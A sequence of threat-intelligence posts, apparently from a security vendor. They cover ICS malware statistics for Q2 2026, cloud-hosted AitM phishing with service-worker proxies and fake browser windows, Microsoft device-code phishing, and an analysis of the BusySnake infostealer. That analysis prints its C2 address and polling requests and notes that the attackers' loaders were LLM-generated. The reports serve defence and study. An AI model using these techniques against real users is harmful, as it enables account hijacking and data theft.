All threats

In Q2 2026, the percentage of ICS computers on which malicious objects were blocked continued to decrease, falling to 19.15%, its lowest level since 2022.

Percentage of ICS computers on which malicious objects were blocked, Q3 2023–Q2 2026

Regionally, the percentages ranged from 8.1% in Northern Europe to 27.9% in Africa.

Regions ranked by percentage of attacked ICS computers

The figures increased in five regions over the quarter, most notably in East Asia (by 2.0 pp) and Africa (by 0.5 pp).

East Asia saw increases in percentages for all threats except miners. The region ranked first in terms of growth for malicious scripts and phishing pages, spyware, and viruses. East Asia also led in terms of growth in threats from the internet. The percentage of ICS computers on which email threats were blocked also increased.

Selected industries

The biometrics sector (26.44%) has traditionally led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked. Biometric systems are characterized by the availability of internet access, extensive email use for data exchange and approvals (e.g. access granting), and, in many cases, minimal cybersecurity controls within the organizations that use them.

Industries ranked by percentage of ICS computers on which malicious objects were blocked

The biometrics sector ranked first among industries in terms of the following threat categories: malicious scripts and phishing pages, malicious documents, spyware, ransomware, and worms. The sector is also leading among industries in terms of email threats. At the same time, unlike other industries, the percentage of affected ICS computers for email threats in biometrics exceeds that for internet threats.

In all selected industries, the global average follows a downward trend.

Threat categories

In Q2 2026, Kaspersky security solutions blocked malware from 10,904 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which malicious objects of the following categories were blocked increased: denylisted internet resources, malicious documents, worms, ransomware, and malware for AutoCAD.

Percentage of ICS computers on which the activity of malicious objects from various categories was blocked

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages remained in first place in the threat category rankings based on the percentage of ICS computers on which the respective threats were blocked. In Q2 2026, the global average dropped to 5.42%.

Over the quarter, the figure for this category only increased in East Asia, rising by 0.93 pp to 4.86%. This is the second-highest figure in the region in the last three years.

In East Asia, the percentage of ICS computers affected by malicious scripts and phishing pages increased in all the industries surveyed, except construction. The highest figures were recorded for biometrics (9.01%) and building automation (6.49%).

Denylisted internet resources

In Q2 2026, denylisted internet resources rose in the threat category rankings from third to second place, displacing spyware. Globally, the percentage of ICS computers on which denylisted internet resources were blocked has been increasing for two quarters in row and reached 4.31%.

The figures increased in all regions over the quarter, most notably in Russia (by 1.33 pp). Moreover, Russia ranked first (5.17%) among the regions in terms of denylisted internet resources. Since 2022, the region has topped these rankings twice before, both times in Q2: in 2022 and 2024.

Among the selected industries in Russia, the highest figures for the denylisted internet resources were in the electric power (6.61%) and engineering and ICS integration (5.62%) industries.

Malicious documents (MSOffice + PDF)

Malicious documents ranked fourth in the threat category rankings by the percentage of ICS computers on which they were blocked. The percentage for this category decreased over the previous three quarters, reaching its lowest level in three years. However, in Q2 2026, it increased to 1.77%.

Over the quarter, the figures for malicious documents increased in seven regions, most notably in South America (by 1.35 pp) and Southern Europe (by 0.48 pp). These two regions are among the top three in terms of malicious documents, malicious scripts and phishing pages, as well as threats from email clients.

South America ranked second in the rankings of regions in terms of malicious documents. In Q2 2026, the percentage of ICS computers in the region on which this threat was blocked was 3.56%, which was the fourth highest in three years.

Among the selected industries in South America, the highest percentage of ICS computers on which malicious documents were blocked was in biometrics (6.67%).

Southern Europe ranked first in the rankings of regions in terms of malicious documents. In the previous quarter, the percentage of ICS computers in the region on which this threat was blocked was the lowest in three years, but in Q2 2026 it increased to 3.63%.

Among the selected industries in Southern Europe, the highest percentage of ICS computers on which malicious documents were blocked was once again in biometrics (11.48%).

Spyware

Spyware ranked third in the threat category rankings based on the percentage of ICS computers on which it was blocked. The percentage for this category (3.30%) is the lowest since 2022.

Over the quarter, the figures increased in three regions, most notably in East Asia (by 0.53 pp) and Southeast Asia (by 0.42 pp).

East Asia ranked third based on the figures for spyware (4.77%), behind Africa and Southeast Asia. This is the region’s highest rate since Q2 2025. Among the countries and territories in the region, the highest percentage of ICS computers on which spyware was blocked was in mainland China (6.61%). Among the selected industries in East Asia, the highest figures for spyware were in the electric power (11.75%) and manufacturing (5.87%) industries. In all the industries surveyed, the figures are higher than the regional average.

Southeast Asia ranked second after Africa in the ranking of regions in terms of spyware, with 5.32%. Among the selected industries in Southeast Asia, the highest figures for spyware were in biometrics (8.93%) and manufacturing (7.32%). The figures increased in all industries over the quarter.

Ransomware

The percentage of ICS computers on which ransomware was blocked decreased in the previous three quarters but increased to 0.16% in Q2 2026.

During the quarter, the percentage increased in all regions, except Western and Southern Europe and North America (Canada). Africa led the ranking in terms of growth for this metric.

In Q2 2026, Africa ranked first among the regions in terms of the percentage of ICS computers on which ransomware was blocked (0.29%). The only time the figure in the region was higher in the past three years was Q2 2025 (0.31%).

Among the selected industries in Africa, the highest figures for ransomware were in the electric power industry (0.72%) and biometrics (0.52%). Over the quarter, the figures increased in all industries, except manufacturing and construction. The biggest increase was recorded in the electric power industry.

In Russia, the percentage of ICS computers on which ransomware was blocked in biometric systems has increased for three consecutive quarters, reaching 1.22%. This is the highest level of ransomware across all industries in all regions.

Miners

In Q2 2026, the percentage of ICS computers on which miners were blocked was the lowest since 2021, for both miners in the form of executable files for Windows (0.48%) and web miners running in browsers (0.14%).

The figures for both categories decreased in all regions, except for Africa where figures for miners in the form of executable files for Windows increased slightly.

On average, the oil and gas industry led the rankings among the selected industries both in terms of miners in the form of executable files for the Windows OS (0.66%) and in terms of web miners (0.34%).

Worms

In Q2 2026, the percentage of ICS computers on which worms were blocked increased to 1.43%.

In Q2 2026, the Middle East (2.11%) was second (after Africa) in the rankings of regions in terms of worms, displacing Central Asia and the South Caucasus.

Among the selected industries in the Middle East, the highest percentage of ICS computers on which worms were blocked was in building automation (2.90%). Over the quarter, the figures increased in all industries.

Australia and New Zealand ranked 12th among the regions in terms of the percentage of ICS computers on which worms were blocked (0.41%). Over the past three years, the figure in this region was only higher in Q2 2024 (0.42%). The figures increased in all the surveyed industries in the region, most notably in manufacturing and electric power. As a result, for these industries they exceeded the regional average by 2.9 and 2.3 times, respectively.

Viruses

In Q2 2026, the percentage of ICS computers on which viruses were blocked decreased to 1.29%.

The top three regions for this metric remain unchanged: Southeast Asia (6.03%), Africa (4.22%), and East Asia (3.14%). These same regions lead the rankings in terms of malware for AutoCAD.

The figures increased in three regions: East Asia, Australia and New Zealand, and Africa, where it has been growing for four consecutive quarters and reached its highest value since 2022.

Among the selected industries in Africa, the highest percentage of ICS computers on which viruses were blocked was in construction (5.47%).

East Asia ranked third among the regions in terms of viruses, reaching the highest level in the region for the past three years. Among the countries and administrative regions of East Asia, mainland China is the clear leader in terms of viruses (5.07%).

Among the selected industries in East Asia, the highest percentage of ICS computers on which viruses were blocked was in construction (5.93%).

In Australia and New Zealand, the increase in the percentage of ICS computers on which viruses were blocked was primarily due to a 4.3-fold increase in the figure for the electric power industry: from 0.29% to 1.24%. For a region where the percentage of attacked ICS computers for all threats is 0.12%, this is a very high value.

Malware for AutoCAD

In Q2 2026, the percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.31%.

The most notable increase over the quarter was observed in Africa. After more than doubling in the previous quarter, the figure for the region continued to rise (although not so dramatically), reaching 1.02%.

Among the selected industries across all regions, the highest percentage of ICS computers on which malware for AutoCAD was blocked was in construction in East Asia (6.38%) and in Southeast Asia (4.05%).

Main threat sources

In Q2 2026, of all the threat sources, the percentage increased only for email.

Percentage of ICS computers on which malicious objects from various sources were blocked

Internet

The percentage of ICS computers on which threats from the internet were blocked decreased to 7.61%, reaching its lowest level since 2021.

Over the quarter, the percentage increased in three regions: East Asia by 0.8 pp (to 6.3%), South Asia by 0.3 pp (to 10.4%), and Russia by 0.3 pp (to 6.4%).

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from the internet were blocked was in biometrics (13.03%) and engineering and ICS integration (12.16%) in South Asia.

Email

The percentage of ICS computers on which email threats were blocked increased to 2.84%.

In Q2 2026, the percentage of ICS computers on which email threats were blocked increased in South America by 1.0 pp (to 5.2%) and in Africa by 0.7 pp (to 4.3%).

Among the selected industries across all regions, the highest percentage of ICS computers on which email threats were blocked was in biometrics (19.14%) and building automation (12.49%) in Southern Europe.

Removable media

The percentage of ICS computers on which threats from removable media were blocked continued to decrease, reaching 0.24%, the lowest value for the period under review.

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from removable media were blocked was in the electric power industry in East Asia (1.34%) and biometrics in Africa (1.29%).

Network folders

The percentage of ICS computers on which threats from network folders were blocked continued to decrease. In Q2 2026, it was the lowest for the period under review, at 0.023%.

The only region to see an increase in the percentage of ICS computers on which threats from network folders were blocked during the quarter was Africa. This was mainly due to an increase in the building automation figure to 0.05%.

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from network folders were blocked was in biometrics (0.23%), building automation (0.17%), and engineering and ICS integration (0.13%) in East Asia.

For more information on industrial threats see the full version of the report.

Threat actors are increasingly exploiting legitimate cloud services to evade detection and streamline the deployment of their scam infrastructure. Cloud hosting services and decentralized networks have become primary platforms for hosting phishing pages and sites. Throughout 2025 and 2026, we have observed phishing operators steadily migrate toward platforms like Cloudflare Workers, Vercel, Netlify, GitHub Pages, and IPFS. This post analyzes the mechanics of a real-life adversary-in-the-middle (AitM) attack in a cloud environment and presents detailed statistics on the platforms and domains phishers abuse most frequently.

The cloud as a safe haven for phishers

Threat actors select platform-as-a-service (PaaS) offerings and distributed cloud environments to host phishing sites for much the same reasons legitimate software developers do:

• Inherent trust and reputation. Phishing pages hosted on reputable platforms appear trustworthy, reducing suspicion among potential victims.
• Most platforms offer generous free-tier developer plans. The onboarding process takes minutes and rarely requires Know Your Customer (KYC) identity verification. This enables a single operator to create hundreds of malicious accounts.
• Evasion and anonymity. Attackers leverage native security features to obscure their true origin server IP address behind a CDN, which complicates detection for security vendors.

Additionally, these platforms allocate shared subdomains hosting millions of legitimate projects and websites. Security teams cannot simply block the parent domain or its subdomains without inflicting collateral damage on bona fide users – a limitation that malicious actors take advantage of. To counter this tactic, security vendors must advance content-based analysis methodologies.

Multi-stage AitM attack

Consider a modern AitM phishing campaign that leverages Cloudflare Workers, a widely adopted cloud platform. The attackers execute the operation through multiple HTML pages distributed across a compromised website and the cloud platform. Each page serves a specific function: harvesting target email addresses, initializing the reverse-proxy infrastructure, or spoofing the login form to capture multi-factor authentication (MFA) sessions.

Stage 1. Contact harvesting and network monitoring evasion

The attack typically begins with a phishing email that uses a plausible pretext – such as a request from a coworker to review documents – to entice the target into clicking a malicious link.

Upon clicking the link, the user is redirected to a fake CAPTCHA landing page hosted on a compromised legitimate website. This specific campaign used the https://t[REDACTED]e.com website, but any other variations are possible. In this scenario, the compromised page served as a disposable relay — vendor detection mechanisms typically block phishing links delivered directly via email much faster — to prevent the early discovery of the core phishing content hosted on Cloudflare.

If the user entered their email address and clicked Continue, the pseudo-CAPTCHA marked them as a human user and initiated a redirect. The primary objective of this stage is to harvest target email addresses, filter out bots, and route legitimate users to a subdomain of workers.dev. Such subdomains are generated automatically and free of charge by Cloudflare Workers. The victim’s email address was embedded in the URL hash (the part of the URL following the # character), allowing the page at [REDACTED].workers.dev to extract the email without issuing a request to the attacker’s server, thereby avoiding detection.

Stage 2. Initializing a transparent proxy

The user’s browser then loaded a [REDACTED].workers.dev page with #user@business.com at the end of the URL. At this point, the page presented the victim with a genuine CAPTCHA challenge. This step ensured that an actual user was interacting with the page rather than a security sandbox.

Another CAPTCHA, this time a legitimate one

Once the user successfully completed the challenge, a service worker was registered in their browser. This is a special JavaScript file capable of running in the background and intercepting all network requests generated by the current tab. As this type of script was designed as a core component of progressive web apps (PWAs) to optimize load times and support offline functionality, browsers treat service workers as standard site feature and execute them without prompting for user consent as long as the website uses an HTTPS connection.

The attackers leveraged the service worker to deploy Ultraviolet, a legitimate open-source web proxy library, to dynamically rewrite all links and forms on the page. This forced every outgoing request – including those for Microsoft login credentials – to route through the attackers’ server rather than directly to the legitimate services.

Immediately upon loading, the page extracted the victim’s email address from the URL hash and stored it in the browser’s sessionStorage property so it would not be overwritten when the CAPTCHA loaded. This step also allowed the script to pre-fill the username field in the form automatically. A pre-populated login field enhanced the page’s credibility and bolstered user trust. Once the CAPTCHA was passed, the malicious script constructed a redirect URL for the third stage, appending the email retrieved from sessionStorage back to the hash. By passing the email via the URL hash across three consecutive stages, the attackers successfully kept it hidden from network attack detection systems.

Registering a service worker to intercept traffic

Establishing a transparent proxy via an external library

Stage 3. Session hijacking and browser window spoofing

The final stage unfolded on a third page, combining adversary-in-the-middle (AitM) traffic interception with a browser-in-the-browser (BitB) UI spoofing technique. BitB attacks operate by rendering a block inside a legitimate webpage that visually mimics a native browser pop-up window.

In this case, the script hosted on the attacker’s page generated a pop-up visually identical to a native browser window, complete with window controls and a spoofed address bar showing a trusted Microsoft URL. Within this simulated window, an iframe loaded the authentic login interface, routed dynamically through the service worker reverse proxy created in Stage 2. When the victim entered their credentials and MFA code into the BitB window, the proxy script intercepted both the credentials and the session tokens. Combining BitB with AitM significantly increases the threat: BitB provides a convincing, trusted visual wrapper (displaying a legitimate URL and branding), while the hidden AitM proxy quietly handles traffic interception and session hijacking behind the scenes.

Upon successful login, the proxy instructs the interface to close the pop-up and redirect the victim to a generic system error page, such as SessionExpired. This minimizes suspicion: the victim assumes a technical glitch occurred and attempts to log in again, unaware that the attacker already has full access to the session.

Cloud platform phishing attack statistics

We analyzed phishing URLs hosted across popular cloud platforms – including Cloudflare, Netlify, and GitHub Pages – over a 12-month period spanning August 2025 to July 2026. The data below outlines trends in unique third-level domains exploited to deliver phishing content. In total, our security solutions blocked 224,984 unique third-level domains on cloud and decentralized services used in phishing attacks within that timeframe.

Number of unique third-level domains
(download)

Based on this telemetry, we compiled a list of the TOP 10 cloud domains most frequently abused in phishing campaigns over the specified period.

Number of phishing links

Unsurprisingly, Cloudflare and Vercel emerged as the undisputed leaders: both offer free tiers, automated SSL certificate issuance, and global CDNs. GitHub Pages ranked third. The widespread legitimate use of the github.io domain complicates bulk blocking efforts, as security teams risk limiting access to non-malicious projects.

Decentralized networks also warrant close attention – we posted on this subject in 2023. The ipfs.io and dweb.link domains function as IPFS gateways. The principal risk associated with these platforms is content persistence: even if a specific gateway gets blocked, the phishing page remains accessible via alternative nodes across the network.

The visual website builders Wix and Webflow also ranked among the TOP 10 (eighth and ninth, respectively). These platforms allow low-skilled individuals to build phishing pages rapidly without advanced coding expertise, which significantly lowers the barrier to entry for less capable malicious actors.

In total, we identified and neutralized over 390,000 phishing pages hosted across legitimate cloud platforms and decentralized networks (IPFS) over the past 12 months. This data confirms that threat actors actively exploit the implicit trust associated with legitimate PaaS providers (such as Cloudflare Workers, Vercel, Netlify, and GitHub Pages) and IPFS gateways. High domain reputation, generous free tiers, and built-in evasion capabilities enable phishers to deploy multi-stage AitM attacks designed to hijack MFA sessions.

Recommendations

Traditional security controls, such as relying on HTTPS lock icons or reputation-based domain denylists, are inadequate against these attacks. The cloud provider’s apex domain maintains a positive reputation score, while attackers generate malicious subdomains programmatically and at scale.

Effective defense against these threats calls for a layered security posture:

• Exercise caution with unexpected requests, even if they are served from reputable domains or secured with valid SSL/TLS certificates.
• Treat any CAPTCHA interface requiring personal data input as a possible scam. Legitimate CAPTCHA challenges rarely request personally identifiable information, such as email addresses.
• Inspect the URL in the address bar at the very top of the browser window. In BitB attacks, threat actors can render a fake browser pop-up displaying any target URL, even a legitimate one. However, the true address bar – located at the top of the main browser window alongside native navigation controls (Back, Forward, Refresh) – will continue to display the actual attacker-controlled domain.
• Avoid entering credentials in pop-ups you did not expect to see. If a login or MFA form appears without your explicit action, close the tab immediately. Navigate to the intended service manually by entering its address directly into the browser.
• Additional protection can be provided by Kaspersky Secure Mail Gateway for enterprise environments and Kaspersky Premium for personal correspondence. These robust email security solutions neutralize phishing links at the delivery stage before they reach the inbox.

One of the most common pieces of anti-phishing advice is to double-check the website’s domain name before providing your credentials. Typically, a fraudulent domain stands out to the trained eye, differing from the official URL by at least a few characters. Recently, however, we encountered a campaign where attackers instruct victims to input data directly into a legitimate, trusted corporate site: the Microsoft Identity Platform, which supports an OAuth 2.0 specification known as the Device Authorization Grant.

This specific protocol extension was designed to simplify the login experience for smart TVs, IoT hardware, printers, and other input-constrained devices that lack a full browser or keyboard. It allows users to use a nearby smartphone or PC for authorizing these devices to access their accounts. To complete the process, the user enters a one-time code on a designated authentication page. The Microsoft Identity Platform returns this code along with a link to enter it in response to a request to https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode; hence, an attack scenario exploiting this mechanism is called Device Code Phishing.
In this post, we break down how the Device Authorization Grant specification (also known as the Device Authorization Grant Flow or Device Code Flow) works, analyze real-world attacks leveraging this technology, and outline effective strategies to defend against Device Code Phishing.

Core steps of Device Authorization Grant

1. Requesting the authorization code

When a user launches an app on a client device, such as a streaming app on a Smart TV, the app detects that it is unauthenticated and sends a POST request to https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode. This request includes the client_id (the unique identifier of the app registered in Microsoft Entra ID / Azure AD) and the scope (the requested access permissions). In response, the application receives several parameters: device_code (a secret code for internal use), user_code (a short code displayed to the end-user), verification_uri (the login URL the user needs to visit), expires_in (the code’s lifespan), and interval (how frequently the app should poll the server).

2. Displaying the code to the user

The device displays both the user_code and the verification_uri to the user, instructing them to complete authentication on another device. For instance, a smart TV will display the code and URL — often rendering the verification_uri as a QR code — so the user can access it via their smartphone.

3. Entering the code and confirming access

By scanning the QR code with a smartphone camera or manually typing out the address, the user navigates to the verification_uri (such as https://microsoft.com/devicelogin) and enters the user_code.

4. Polling the server

The device (smart TV) begins polling the server to check the authorization status — essentially verifying whether the user has approved the access request. It does this by sending a POST request to the token endpoint: https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token. The request passes the grant_type parameter with the value urn:ietf:params:oauth:grant-type:device_code, indicating the use of the Device Authorization Grant method. This signals to the authorization server exactly which authentication method is being used to request access tokens. The server waits for the user to enter the user_code on their secondary device and approve access to their resources or data. Until that approval happens, the server responds with an error code like authorization_pending (keep waiting) or slow_down (reduce the polling frequency).

5. Issuing access tokens

Once the user successfully approves the application’s request, the server responds to the application by issuing an access_token (to access the data), a refresh_token (to renew access later), an id_token (containing user profile details like name and email), along with several other service parameters.

6. Automatic access renewal

The device (our smart TV) uses the refresh_token to silently renew the access_token without requiring any further user interaction. When the current access_token expires (typically after 1 hour), the device automatically sends a token refresh request containing the refresh_token to the token endpoint. It then receives a fresh pair of access and refresh tokens, ensuring the user remains authenticated seamlessly.

While this workflow is truly convenient for input-constrained devices, attackers can abuse it to hijack user accounts and maintain persistent access for extended periods using the issued refresh_token. Let’s use a real-world example to break down this attack vector.

Analysis of a Device Code Phishing attack

The phishing email

In a phishing campaign we observed spanning from early April to mid-May 2026, the initial email was styled as a notice from a law firm. Attached to the email was a password-protected PDF file.

Once the victim opened the PDF and entered the password, they were presented with a landing page listing several documents. However, viewing these documents required clicking a provided link.

PDF file with a malicious link

A close look at the target URL reveals that instead of pointing to a typical, easily recognizable phishing domain, it actually points to a legitimate Microsoft address. However, the URL parameters are configured to redirect the user to a phishing resource.

The link within the document does not keep the user on the Microsoft platform; instead, it immediately redirects them to a phishing page designed to mimic a corporate legal portal.

The phishing page

Interestingly, the landing page featured multiple CAPTCHAs, presumably deployed to filter out security crawlers. Once past these hurdles, the user was routed to a final page that instructed them to copy a one-time code. This code was the user_code that the attacker’s server-side application had already fetched by querying https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode, as detailed in the workflow above.

The one-time code

The one-time codeClicking the displayed one-time code automatically copied it to the clipboard while simultaneously redirecting the user to Microsoft’s actual, legitimate authentication page (verification_uri), where they were prompted to paste and enter the code.

Official Microsoft authentication page

Once the user entered the code, it kicked off the Device Authorization Grant flow described earlier. The unsuspecting victim then completed the full MFA process directly on Microsoft’s official page. As soon as authentication succeeded, the attacker harvested the session’s access_token, refresh_token, and id_token. This enabled them to read and send emails from the victim’s mailbox, exfiltrate files from OneDrive, and access Teams conversations.

Adaptation of the attack method

This phishing campaign was limited in scope and spanned slightly more than a month. However, the threat actor continues to actively leverage this method, adapting it to target specific geographic regions. We’ve recently detected slightly modified Device Code Phishing campaigns shifting their focus toward users in Brazil, among others.

The Brazilian phishing variant

Translated from Portuguese:

“Hello!
Your order has just been processed, and the confirmation has been sent to you in PDF format. Please see the details below.
OPEN / DOWNLOAD PDF
A new quote is attached to this email.
Please let me know if you need any further assistance.”

  Unlike the previous campaign, this email did not include a malicious PDF attachment. Instead, it embedded a link pointing to cacoo.com, a legitimate online diagramming platform owned by Nulab. Just as before, this trusted domain served as an open redirect to steer the user toward the phishing infrastructure.

The proxy link routes through the legitimate Cacoo.com domain before redirecting to the phishing site

Translated from Portuguese:

Request confirmation
Status Code = Success
DOWNLOAD OR VIEW THE DOCUMENT
Important note: Log in to the account that received this message to securely authenticate the document.

Clicking the link routed the user back to the familiar landing page displaying the one-time code.

Landing page displaying the code

From there, the potential victim was once again redirected to the official Microsoft portal to complete the Device Authorization Grant authentication process.

Official Microsoft page prompting for the user code

How to defend against Device Code Phishing attacks

As our research demonstrates, threat actors don’t always rely on harvesting credentials or deploying malware to access sensitive data — they can just as easily weaponize legitimate tools. Therefore, users must exercise vigilance not only when visiting suspicious sites, but also when navigating official platforms like Microsoft or Cacoo.com.

Recommendations for users

• If you did not personally initiate a login request on an external device using the Microsoft Device Authorization Grant, do not approve the authorization request.
• Never enter an authorization code received via unexpected emails or messages, even if the provided link points directly to an official Microsoft domain.
• Threat actors frequently leverage open redirects on legitimate domains, appending parameters like redirect_uri, return_url, or next after the question mark (?) to point to a malicious destination. Before clicking any link, hover your cursor over it to inspect both the primary domain and any suspicious redirect parameters. Once the page loads, verify that the final URL actually matches the expected asset — this is the absolute minimum requirement before entering corporate credentials.

We strongly advise enterprise teams to evaluate the business necessity of the Device Code Flow within their corporate infrastructure. If this authentication mechanism is not required for daily operations, it should be disabled globally via Conditional Access policies within Microsoft Entra ID. Additionally, security teams should set up dedicated monitoring for DeviceCodeSignIn events, strictly e nforce device compliance states, and configure alerts for anomalous sign-in behavior originating from unusual locations.

To establish a comprehensive defense against Device Code Phishing attacks, organizations should deploy robust email security solutions capable of securing both corporate and personal messages.

Introduction

During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.

Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.

Key campaign highlights:

• The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
• The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.

This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.

Initial infection vector

Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.

EXE attachment

In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.

Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.

Payload repository example

The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.

The fetched package contains the following components:

• The primary payload: a stealer named module.pyw
• The runtime directory with the components of the PyArmor execution environment
• A Python 3.12 interpreter
• The get-pip.py script: used to install the pip package manager and fetch required dependencies

Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.

With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:

Loader removal script

The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:

Persistence script

This task ensures that the payload, BusySnake Stealer, is executed every five minutes.

LNK attachment

In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.

Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:

Obfuscated PowerShell command

This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:

Downloading and executing the loader

Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.

Decoy documents

Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.

Variable initialization example in loader code

Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.

Example of downloading and installing Python and the pip package manager

As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.

Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.

BusySnake Stealer

The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.

The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.

During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.

Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.

Stealer configuration example

The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.

Below, we break down the execution logic of the malware’s core functions.

Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.

Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:

[Clipboard] {timestamp} {escaped_clipboard_content}

Additionally, the stealer maps out the local file system using the start_inventory_background function.

This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:

sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'

The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.

Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:

log(
	f'Інвентаризація завершена за {elapsed:.1f}s. '
	f'Нових: {counters["new"]}, '
	f'Старих: {counters["skipped"]}, '
	f'Знайдено: {counters["found"]}'
)

Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.

The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:

GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0

The C2 sign-in form interface is shown below:

C2 administration panel sign-in form

Commands are transmitted from the C2 server as function names, which are detailed in the table below:

After executing each command, the stealer sends a report back to the C2 server containing the task completion status.

POST /report_status HTTP/1.1
Host: 159.198.41.140
